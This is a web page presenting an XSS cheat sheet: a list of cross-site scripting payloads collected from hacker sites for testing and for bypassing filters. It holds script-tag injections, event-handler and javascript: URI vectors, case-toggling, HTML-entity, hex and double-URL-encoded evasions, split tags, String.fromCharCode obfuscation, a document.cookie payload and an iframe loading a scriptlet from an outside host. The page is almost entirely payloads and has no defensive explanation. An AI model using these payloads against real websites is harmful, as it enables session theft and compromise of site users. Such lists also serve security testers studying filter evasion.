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Complete Cross site Scripting(XSS) cheat sheets


Complete Cross site Scripting(XSS) cheat sheets


We are producing this XSS Cheat sheet after collecting the codes from hackers’ techniques and different sites especially http://ha.ckers.org/xss.html .  This is complete list of XSS cheat codes which will help you to test xss vulnerabilities ,useful for bypassing the filters.  If you have any different cheat codes , please send your code.

Basic XSS codes:
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<script>alert(“XSS”)</script>
<script>alert(“XSS”);</script>
<script>alert(‘XSS’)</script>
“><script>alert(“XSS”)</script>
<script>alert(/XSS”)</script>
<script>alert(/XSS/)</script>
When inside Script tag:
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</script><script>alert(1)</script>
‘; alert(1);
‘)alert(1);//
Bypassing with toggle case:
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 <ScRiPt>alert(1)</sCriPt>
  <IMG SRC=jAVasCrIPt:alert(‘XSS’)>
XSS in Image and HTML tags:
———————————————
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
 <IMG SRC=javascript:alert(‘XSS’)>      
<img src=xss onerror=alert(1)>
<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=”jav ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=”javascript:alert(‘XSS’)”
<iframe src=http://ha.ckers.org/scriptlet.html <
Bypass the script tag filtering:
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<<SCRIPT>alert(“XSS”);//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
“><s”%2b”cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
Using String.fromCharCode function:
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<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
You can combine the above mentioned codes and make your own cheat code.